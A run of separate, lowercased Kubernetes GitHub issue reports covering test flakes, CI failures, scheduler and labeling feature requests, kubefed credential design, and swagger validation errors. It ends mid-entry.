https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/57890/pull-kubernetes-unit/73493/\r \r    \r --- fail: testblockingownerrefdoesblock  21.15s \r i0105 09:48:23.340392   23620 autoregister_controller.go:160  shutting down autoregister controller\r \ttestserver.go:100: starting kube-apiserver on port 34234...\r \ttestserver.go:112: waiting for /healthz to be ok...\r \tgarbage_collector_test.go:781: unexpected error: replicationcontrollers \ test.rc.1\  not found\r    \r \r    \r i0105 09:48:07.989109   23620 graph_builder.go:322  graphbuilder running\r i0105 09:48:07.989409   23620 graph_builder.go:296  started 43 new monitors, 43 currently running\r w0105 09:48:07.996627   23620 reflector.go:341  k8s.io/kubernetes/vendor/k8s.io/client-go/informers/factory.go:87: watch of  v1.pod ended with: too old resource version: 20910  20971 \r i0105 09:48:07.997056   23620 graph_builder.go:601  graphbuilder process object: v1/replicationcontroller, namespace foo, name test.rc.1, uid 88a88e58-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:07.998703   23620 graph_builder.go:601  graphbuilder process object: v1/endpoints, namespace default, name kubernetes, uid 8875d475-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:07.998742   23620 graph_builder.go:601  graphbuilder process object: v1/service, namespace default, name kubernetes, uid 88756800-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:07.999347   23620 graph_builder.go:601  graphbuilder process object: v1/namespace, namespace , name default, uid 8874c1d8-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:07.999387   23620 graph_builder.go:601  graphbuilder process object: v1/namespace, namespace , name kube-system, uid 88765d42-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:07.999405   23620 graph_builder.go:601  graphbuilder process object: v1/namespace, namespace , name kube-public, uid 8876c3ac-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:07.999422   23620 graph_builder.go:601  graphbuilder process object: v1/namespace, namespace , name aval, uid 88a0fc33-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:07.999437   23620 graph_builder.go:601  graphbuilder process object: v1/namespace, namespace , name foo, uid 88a80109-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:08.036397   23620 graph_builder.go:601  graphbuilder process object: v1/serviceaccount, namespace foo, name default, uid 88a8434b-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:08.036716   23620 graph_builder.go:601  graphbuilder process object: v1/serviceaccount, namespace aval, name default, uid 88a14c09-f1fd-11e7-85be-0242ac110002, event type add\r i0105 09:48:08.289212   23620 controller_utils.go:1026  caches are synced for garbage collector controller\r i0105 09:48:08.289353   23620 garbagecollector.go:144  garbage collector: all resource monitors have synced. proceeding to collect garbage\r i0105 09:48:08.319272   23620 graph_builder.go:601  graphbuilder process object: v1/replicationcontroller, namespace foo, name test.rc.1, uid 88a88e58-f1fd-11e7-85be-0242ac110002, event type update\r i0105 09:48:08.319372   23620 graph_builder.go:568  add  v1/replicationcontroller, namespace: foo, name: test.rc.1, uid: 88a88e58-f1fd-11e7-85be-0242ac110002  to the attempttodelete, because it's waiting for its dependents to be deleted\r i0105 09:48:08.319444   23620 garbagecollector.go:356  processing item  v1/replicationcontroller, namespace: foo, name: test.rc.1, uid: 88a88e58-f1fd-11e7-85be-0242ac110002 \r i0105 09:48:08.321242   23620 garbagecollector.go:475  remove deletedependents finalizer for item  v1/replicationcontroller, namespace: foo, name: test.rc.1, uid: 88a88e58-f1fd-11e7-85be-0242ac110002 \r i0105 09:48:08.325608   23620 graph_builder.go:601  graphbuilder process object: v1/replicationcontroller, namespace foo, name test.rc.1, uid 88a88e58-f1fd-11e7-85be-0242ac110002, event type delete\r i0105 09:48:08.836482   23620 garbagecollector.go:182  syncing garbage collector with updated resources from discovery: map {admissionregistration.k8s.io v1beta1 mutatingwebhookconfigurations}:{} { v1 persistentvolumes}:{} { v1 podtemplates}:{} {apiregistration.k8s.io v1beta1 apiservices}:{} {extensions v1beta1 podsecuritypolicies}:{} {apps v1 replicasets}:{} {networking.k8s.io v1 networkpolicies}:{} {rbac.authorization.k8s.io v1 clusterroles}:{} {apps v1 controllerrevisions}:{} {rbac.authorization.k8s.io v1 clusterrolebindings}:{} {scheduling.k8s.io v1alpha1 priorityclasses}:{} { v1 events}:{} {admissionregistration.k8s.io v1beta1 validatingwebhookconfigurations}:{} {admissionregistration.k8s.io v1alpha1 initializerconfigurations}:{} {apiextensions.k8s.io v1beta1 customresourcedefinitions}:{} {extensions v1beta1 daemonsets}:{} {events.k8s.io v1beta1 events}:{} {batch v1 jobs}:{} {settings.k8s.io v1alpha1 podpresets}:{} {storage.k8s.io v1alpha1 volumeattachments}:{} { v1 limitranges}:{} { v1 configmaps}:{} { v1 services}:{} {apps v1 deployments}:{} {batch v1beta1 cronjobs}:{} {certificates.k8s.io v1beta1 certificatesigningrequests}:{} { v1 pods}:{} {policy v1beta1 poddisruptionbudgets}:{} { v1 resourcequotas}:{} { v1 serviceaccounts}:{} { v1 secrets}:{} { v1 replicationcontrollers}:{} { v1 persistentvolumeclaims}:{} { v1 namespaces}:{} { v1 nodes}:{} {extensions v1beta1 networkpolicies}:{} {extensions v1beta1 deployments}:{} {extensions v1beta1 replicasets}:{} {apps v1 statefulsets}:{} {storage.k8s.io v1 storageclasses}:{} { v1 endpoints}:{} {extensions v1beta1 ingresses}:{} {apps v1 daemonsets}:{} {autoscaling v1 horizontalpodautoscalers}:{} {rbac.authorization.k8s.io v1 rolebindings}:{} {rbac.authorization.k8s.io v1 roles}:{} \r i0105 09:48:09.036837   23620 graph_builder.go:601  graphbuilder process object: v1/pod, namespace foo, name pod, uid 88a8da5a-f1fd-11e7-85be-0242ac110002, event type add\r    \r \r the problem is similar to the one triaged at https://github.com/kubernetes/kubernetes/issues/56121 issuecomment-353265160 except that the logic failure is in the test, not in the garbage collector\r \r as you can see from the log, the pod watch drops  09:48:07.996627  and doesn't re-establish for 1 second, after which the test pod  with the blockownerref set  is observed  09:48:09.036837 . prior to that, the rc deletion is processed  09:48:08.319272 , and since no blocking children exist in the graph yet, it is deleted  09:48:08.325608 .\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r refer https://github.com/kubernetes/kubernetes/pull/57875 discussion_r159840522. baseuri has been set by newaccountsclientwithbaseuri and newdisksclientwithbaseuri method. we should not set baseuri twice.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r

hi,\r \r  i'm a newbie in k8s and i have some experience working in mesos/marathon environments. \r  i'm very comfortable with a orchestration rule in order to spread equitably the number of pods of one deployment inside a pool of minions or physical machines or whatever you can call it... \r \r https://mesosphere.github.io/marathon/docs/constraints.html\r i think is very usefull distribute tasks evenly across racks or datacenters increasing high availability. \r marathon allow us do this with constraints rules with operator group by, indicating how many distinct values can be expected for the given fieldname, p.e.: \r \r - hostname:group_by   try to distribute 3 task in at least in each hostname\r - \ rack_id\ ,group_by\ , \ 3\    try to distribute at least in 3 different rack_id field\r \r other interesting operator is max_per\r - \ rack_id\ , \ max_per\ , \ 2\ :   max 2 tasks per rack_id\r \r after read this documentation, https://kubernetes.io/docs/concepts/configuration/assign-pod-node/\r maybe in k8s we can add these operators  group_by and max_per  as a feature inside nodeaffinity.

soak-gci-gce suites are blocked for days, because failing storage tests seem to fail to cleanup. after a failed test a pod  pd-client  is left in  terminating  state. this in turn causes test namespace to be stuck in terminating state, which causes a check in beforesuit to fail. \r \r currently 1.10 test cluster is in this state, so it could be used for debugging. \r project: k8s-jkns-gci-gce-soak-1-7\r zone: us-central1-f\r master vm: bootstrap-e2e-master\r \r as far as i can tell this is connected with \  sig-storage  volumes pd should be mountable with ext4\  failing in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-stable2/648.\r \r this is a release blocking suite for 1.10, can we clean up the offending pod to unblock patch release?\r \r impacted suites:\r https://k8s-testgrid.appspot.com/sig-release-1.10-blocking soak-gci-gce-1.10\r https://k8s-testgrid.appspot.com/sig-release-1.11-all soak-gci-gce-1.11\r \r  / 

failing jobs\r  sig-release-master-blocking gci-gce-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-serial \r   failing tests\r  in-tree volumes  driver: gcepd   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/4099 \r \r failing tests\r  /   /milestone v1.12\r \r /cc @tpepper @aishsundar @kubernetes/sig-storage-test-failures @kubernetes/sig-gcp-bugs \r

what would you like to be added  :\r the  scheduling framework kep  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md  is now implementable. we have  already added  https://github.com/kubernetes/kubernetes/pull/75848  plugin interfaces and extension points for \  reserve  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md reserve \  and \  prebind  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md pre-bind \  plugins.\r \r a \ queue sort\  plugin defines the ordering of pods in the scheduling queue. today, the scheduler sorts pods by their priority. while this makes sense for most use-cases, some users may have different scheduling requirements that need a different sorting logic. a \ queue sort\  plugin allows users to customize ordering of pods. a queue sort plugin essentially will provide a \ less pod1, pod2  bool\  function. only one queue sort plugin may be enabled at a time.\r \r  / ref/ kubernetes/enhancements 624

when a new elb is created, the code in aws.go attempts to modify an existing security group on the target instance s  to include ingress traffic from the elb's security group, without understanding the purpose of the security group it picks  which just appears to be the first one the api returns .  instead, we should consider simply creating a new, kubernetes-owned security group for that service/elb and add that to the instance.

git allows me to set personal aliases which saves me a lot of typing work daily. i'd love to see this kind of possibility in kubernetes as well, that would really make my day.

httpget  http://kubernetes.io/v1.1/docs/user-guide/liveness/readme.html  probe documentation should state if it support   https   or not.  also  like google monitoring  it should allow to specify a   text present   in the response. often it may return 200 but parts don't work and the expected text would not be present. sure a  exec  may do that kind of check but then it wouldn't be high level like the  httpget  check.

to have some consistency in labeling of kubernetes cluster components it would be good to have a formalized labeling scheme. i have come across this problem when building monitoring solutions that expect the labeling to be  k8s-app: <component-name> . i adapted this or started the discussion around this in:\r \r - bootkube:  here  https://github.com/kubernetes-incubator/bootkube/pull/230  and  here  https://github.com/kubernetes-incubator/bootkube/pull/179 \r - kops: https://github.com/kubernetes/kops/issues/1226\r \r and recently discovered that the rescheduler sort of expects this labeling in a cluster.  i commented  https://github.com/kubernetes/contrib/pull/2420 discussion_r103153127  about it on a rescheduler pr and was directed to open an issue here in this regard. i had it on my to do list until the discussion  came up today with kargo  https://github.com/coreos/kube-prometheus/issues/61 issuecomment-285656955 .\r \r so here it is.\r \r i propose that there should be a formalized labeling for kubernetes cluster component's  pod   and   service  objects.\r \r once formalized it is a common ground that we can stand on to make sure all cluster bootstrapping tools setup clusters with common labeling.\r \r i generally don't care about what the actual labels are. but because the informal  k8s-app: <component-name>  is relatively common already, it may be a good candidate. to make sure that they actually are consistent it would be good to also have a list of what that actually means for  <component-name> .\r \r thoughts? something i missed?\r \r if there is no general objection and this is something that is generally viewed as useful, then i'm happy to type up a proposal.\r \r @kubernetes/sig-cluster-lifecycle-feature-requests @bgrant0607

this issue is a follow up to https://github.com/kubernetes/kubernetes/issues/41267\r perhaps an umbrella issue is needed to group all the related ones.\r \r prior to release 1.6 kubefed used to upload the credentials provided by the user in kubeconfig for all operations. with issue https://github.com/kubernetes/kubernetes/issues/41267, the intention was to use service accounts  possibly different ones  to access clusters and also for the communication within federation control plane controller manager to api server .\r now there are multiple questions that need answers  and solutions to possible problems .\r \r 1. who sets up these service accounts?\r \twe tried setting this up automatically while bootstrapping control place in kubefed init  https://github.com/kubernetes/kubernetes/pull/40392 , but ran into problems with older clusters which do not use the authorizer as rbac.\r \twe then further tried to guess if the cluster uses the rbac authorizer by checking if the cluster exposes the rbac api and tried using the right api version also, but again ran into problems  https://github.com/kubernetes/kubernetes/issues/42559 , because the cluster might not be using the rbac as the authorizer plugin using    --authorization-mode=rbac   .\r \tapperantly, and for genuine security reasons, there is no direct way of guessing what authorizer is being used by the cluster.\r 2. does federation handle the cluster skew and to what extent?\r \tapart from the previous questions/problems, there is an added problem of older clusters. rbac as authorizer was itself introduced in 1.4. further service account as a feature might itself not be there in even older clusters.\r \tdo we need to support a vast range of cluster version skew  which might not be a good idea . if that is the case, we might need to choose using credentials as is, or through service accounts  depending on availability of features .\r 3. as a security scenario, the admin user  who is bootstrapping control plane and registering clusters  might want to use different credentials then the one he is accessing the clusters with currently  mostly admin .\r \tkubefed uploaded the same credentials as in the kubeconfig under use to access the clusters,  as of now for joining clusters .\r \r based on discussion with @liggitt, @madhusudancs and @perotinus, the suggestions to handle some of the above problems are as below.\r \r 1. kubefed cannot guess which authorizer is used. it however can have a default behaviour and some additional paths with users.\r \r - assumes the clusters to be using rbac, and if no other detail  as suggested next with     --use-service-account     is specified, it tries to set up the right service account and needed roles as a default. we also suggest rbac as the preferred usage in documentation.\r - also provides an alternative option to use the pre-setup service account to be used  additional argument --use-service-account  in both init and join, which can override this behaviour. if the user intends to use a different authoriser then rbac, they will need to use this mechanism.\r - as an alternative path, user can override the default behaviour to using just the access credentials  for example by specifying    --use-credentials-only      and    --use-credential-kubeconfig=    if a different set of access credentials need to be uploaded .\r \t\r which option to use as the default path, is open for suggestions.\r \r 2. as listed in 1, its best to keep the cluster skew to as less as possible, there are bigger problems to address in this scope and discussed here https://github.com/kubernetes/kubernetes/issues/44160.\r \r 3. as listed in the 3rd option in the solution to 1 above.\r \r some additional pointers are:\r \r - kubefed can still discover the rbac api versions when using the path of creating sa and roles.\r - in case some advanced features are needed k8s exposes access review apis https://kubernetes.io/docs/admin/authorization/ checking-api-access

failure cluster  a747411b52fce48b96bb  https://go.k8s.io/triage a747411b52fce48b96bb        error text:     error during ./hack/federated-ginkgo-e2e.sh --ginkgo.focus=\\ feature:federation\\  --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ nocluster\\ : exit status 1           failure cluster statistics: 1 tests failed,    2 jobs failed,    58 builds failed. failure stats cover 1 day time range '14 may 2017 20:07 utc' to '15 may 2017 20:07 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gce-federation-test | 46 |  15 may 2017 19:37 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-federation-test/7916  | | ci-kubernetes-e2e-gce-federation | 12 |  15 may 2017 07:15 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/3641  |   current status  https://go.k8s.io/triage a747411b52fce48b96bb

>  \r \r   what happened  :\r i have many physical machine as kubernetes node, 64cores and 384g memory, and more than 100 containers are run on each node.\r cpu utilization: 20%\r memory utilization: 60%\r it looks normal at zabbix，but the physical machine host are sudden restart reboot  sometimes, there is no any logs in var/log/message\r and the same configuration in virtual machine（16cores 64g memory 20containers）are never happened.\r are there people like me who have this situation?\r \r   anything else we need to know?  :\r this situation is bad, will interrupt the service for a few minutes, the impact is relatively large, i hope someone can answer my question, thank you very much.\r   environment  :\r - kubernetes version: \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:\r physical machine, 64cores and 384g memory\r - centos linux release 7.3.1611  core \r - kernel  e.g.  uname -a  :\r linux node2271925209618963.k8s 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r binary file installed use ansible\r - docker version:\r server:\r  version:      1.11.2\r  api version:  1.23\r  go version:   go1.5.4\r  git commit:   b9f10c9\r - docker info:\r containers: 398\r  running: 398\r  paused: 0\r  stopped: 0\r images: 4392\r server version: 1.11.2\r storage driver: devicemapper\r  pool name: docker-thinpool\r  pool blocksize: 524.3 kb\r  base device size: 10.74 gb\r  backing filesystem: xfs\r  data file: \r  metadata file: \r  data space used: 629.4 gb\r  data space total: 5.695 tb\r  data space available: 5.066 tb\r  metadata space used: 198.4 mb\r  metadata space total: 2.147 gb\r  metadata space available: 1.949 gb\r  udev sync supported: true\r  deferred removal enabled: true\r  deferred deletion enabled: true\r  deferred deleted device count: 1\r  library version: 1.02.135-rhel7  2016-09-28 \r logging driver: json-file\r cgroup driver: cgroupfs\r plugins: \r  volume: local\r  network: host bridge null\r kernel version: 3.10.0-514.el7.x86_64\r operating system: centos linux 7  core \r ostype: linux\r architecture: x86_64\r cpus: 64\r total memory: 377.3 gib\r name: node2271925209618963.k8s\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r \r

for example, \r pvc pvc_eg has access mode \ readwriteonce\  , and using by deployment deployment_eg, why not kube-apiserver check and reject other deployment to use it  at admission stage?\r \r \r

 /area kubectl\r  \r kubectl return that deployment configured - i.e. changed, even when deployment are same.\r because thing like:\r  - cpu: 1000m converted to \ 1\  after apply.\r  - memory: 1024mi -> 1gi\r \r and openapi patch assume:\r  - cpu: 1000m != \ 1\ \r  - cpu: 1 != \ 1\ \r  - cpu: 0.5 != 500m\r  - memory: 1024mi != 1gi\r \r kubectl or openapi-patch must preprocess values before apply,\r or by some other way kubectl/k8s must understood that nothing changed.\r \r - kubernetes version:\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.7-v1\ , gitcommit:\ f6a6d67196026e9b52f2d9ac703504a42bcf5616\ , gittreestate:\ clean\ , builddate:\ 2018-03-01t15:22:47z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os: 16.04.3 lts  xenial xerus \r \r  - - -\r i think it's also related https://github.com/kubernetes/kubernetes/issues/52577

https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet\r \r it become too flaky recently since 6/5/2018.\r \r @kubernetes/sig-node-bugs

 \r   what happened  :\r \r tried to download v1.12.0-beta.1 via  cluster/get-kube-binaries.sh .\r \r failed with error:\r \r    \r \r extracting /users/ahmetb/downloads/kubernetes 2/client/kubernetes-client-darwin-amd64.tar.gz into /users/ahmetb/downloads/kubernetes 2/platforms/darwin/amd64\r ln: failed to create symbolic link '/users/ahmetb/downloads'$'\ ''2/client/bin': no such file or directory\r    \r \r   what you expected to happen  : work as expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r extract release kubernetes.tar.gz to a path with space in it, like  /users/ahmetb/downloads/kubernetes 2 \r \r    \r cd /users/ahmetb/downloads/kubernetes\\ 2\r yes | cluster/get-kube-binaries.sh\r    \r \r   anything else we need to know?  :\r \r doesn't reproduce if i extract tar to a directory without spaces in name.\r \r   environment  :\r - kubernetes version  use  kubectl version  : not applicable\r - cloud provider or hardware configuration: not applicable\r - os  e.g. from /etc/os-release : macos,  /usr/bin/env bash  pointing to gnu bash4.4.23\r - kernel  e.g.  uname -a  : not applicable\r

\r below yaml is my ingress rule. here /nginx is proxying to the backend. is there any way to strip path while proxying to backend.\r \r example:\r https://gateway.example.com/nginx should be proxied to backend like localhost:80/\r \r ---\r \r apiversion: networking.istio.io/v1alpha3\r kind: virtualservice\r metadata:\r clustername: \ \ \r name: nginx\r namespace: default\r spec:\r gateways:\r \r gateway\r hosts:\r test.abc.com\r http:\r match:\r uri:\r exact: /nginx\r route:\r destination:\r host: httpd\r port:\r number: 80\r \r ---\r \r 

which jobs are failing  :\r    ci-kubernetes-e2e-gci-gce    testgrid  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-default&width=20     build 35714  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/35714  \r    ci-kubernetes-e2e-gce-cos-k8sbeta-default   testgrid https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default&width=20     build 9864  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-default/9864  \r \r   which test s  are failing  :\r  nodelease when the nodelease feature is enabled the kubelet should report node status infrequently \r \r   since when has it been failing  :\r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default&width=20\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/node_lease.go:83\r timed out after 300.000s.\r expected\r     < errors.errorstring | 0xc00177a260>: {\r         s: \ node status heartbeat is unchanged for 14.708854559s, waiting for 1m20s\ ,\r     }\r to be nil\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/node_lease.go:134\r    \r \r   anything else we need to know  :\r   https://github.com/kubernetes/kubernetes/issues/75205 cleared out flakiness in the same place  different error though \r \r  /remove-kind failing-test\r   /milestone v1.14\r / \r cc @liggitt as you worked on https://github.com/kubernetes/kubernetes/issues/75205 and might have input\r cc @smourapina @alejandrox1 @kacole2 @mortent

1  figure out how to get an etcd instance into the state where it will give 401 window expired errors. 2  write a test that verifies that, given the above etcd state, our watches don't effectively become polls.

running  swagger-tools validate api/swagger-spec/resourcelisting.json api/swagger-spec/api.json api/swagger-spec/v1.json api/swagger-spec/version.json api/swagger-spec/apis.json api/swagger-spec/extensions.json api/swagger-spec/v1beta1.json  gives:        api declaration  /api/v1  errors:       /apis/1/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/3/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/4/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/6/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/7/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/8/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/9/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/10/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/12/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/13/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/14/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/15/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/16/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/18/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/19/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/20/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/21/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/22/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/24/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/27/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/28/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/30/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/31/operations/0/parameters/1/name: api path parameter could not be resolved: path      /apis/31/path: api requires path parameter but it is not defined: path:       /apis/31/operations/1/parameters/1/name: api path parameter could not be resolved: path      /apis/31/path: api requires path parameter but it is not defined: path:       /apis/31/operations/2/parameters/1/name: api path parameter could not be resolved: path      /apis/31/path: api requires path parameter but it is not defined: path:       /apis/31/operations/3/parameters/1/name: api path parameter could not be resolved: path      /apis/31/path: api requires path parameter but it is not defined: path:       /apis/31/operations/4/parameters/1/name: api path parameter could not be resolved: path      /apis/31/path: api requires path parameter but it is not defined: path:       /apis/31/operations/5/parameters/1/name: api path parameter could not be resolved: path      /apis/31/path: api requires path parameter but it is not defined: path:       /apis/34/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/35/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/37/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/38/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/39/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/41/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/42/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/44/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/46/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/47/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/49/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/50/operations/0/parameters/2/name: api path parameter could not be resolved: path      /apis/50/path: api requires path parameter but it is not defined: path:       /apis/50/operations/1/parameters/2/name: api path parameter could not be resolved: path      /apis/50/path: api requires path parameter but it is not defined: path:       /apis/50/operations/2/parameters/2/name: api path parameter could not be resolved: path      /apis/50/path: api requires path parameter but it is not defined: path:       /apis/50/operations/3/parameters/2/name: api path parameter could not be resolved: path      /apis/50/path: api requires path parameter but it is not defined: path:       /apis/50/operations/4/parameters/2/name: api path parameter could not be resolved: path      /apis/50/path: api requires path parameter but it is not defined: path:       /apis/50/operations/5/parameters/2/name: api path parameter could not be resolved: path      /apis/50/path: api requires path parameter but it is not defined: path:       /apis/52/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/53/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/57/operations/0/parameters/4/type: model could not be resolved:  int64      /apis/57/operations/0/parameters/5/type: model could not be resolved:  unversioned.time      /apis/57/operations/0/parameters/7/type: model could not be resolved:  int64      /apis/57/operations/0/parameters/8/type: model could not be resolved:  int64      /apis/60/operations/0/parameters/3/name: parameter already defined: path      /apis/60/operations/0/parameters/3/name: api path parameter could not be resolved: path      /apis/60/path: api requires path parameter but it is not defined: path:       /apis/60/operations/1/parameters/3/name: parameter already defined: path      /apis/60/operations/1/parameters/3/name: api path parameter could not be resolved: path      /apis/60/path: api requires path parameter but it is not defined: path:       /apis/60/operations/2/parameters/3/name: parameter already defined: path      /apis/60/operations/2/parameters/3/name: api path parameter could not be resolved: path      /apis/60/path: api requires path parameter but it is not defined: path:       /apis/60/operations/3/parameters/3/name: parameter already defined: path      /apis/60/operations/3/parameters/3/name: api path parameter could not be resolved: path      /apis/60/path: api requires path parameter but it is not defined: path:       /apis/60/operations/4/parameters/3/name: parameter already defined: path      /apis/60/operations/4/parameters/3/name: api path parameter could not be resolved: path      /apis/60/path: api requires path parameter but it is not defined: path:       /apis/60/operations/5/parameters/3/name: parameter already defined: path      /apis/60/operations/5/parameters/3/name: api path parameter could not be resolved: path      /apis/60/path: api requires path parameter but it is not defined: path:       /apis/62/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/63/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/65/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/66/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/67/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/68/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/69/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/71/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/72/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/73/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/75/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/76/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/78/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/79/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/80/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/82/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/83/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/85/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/86/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/87/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/88/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/89/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/91/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/92/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/93/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/94/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/95/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/97/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/98/operations/0/parameters/2/name: api path parameter could not be resolved: path      /apis/98/path: api requires path parameter but it is not defined: path:       /apis/98/operations/1/parameters/2/name: api path parameter could not be resolved: path      /apis/98/path: api requires path parameter but it is not defined: path:       /apis/98/operations/2/parameters/2/name: api path parameter could not be resolved: path      /apis/98/path: api requires path parameter but it is not defined: path:       /apis/98/operations/3/parameters/2/name: api path parameter could not be resolved: path      /apis/98/path: api requires path parameter but it is not 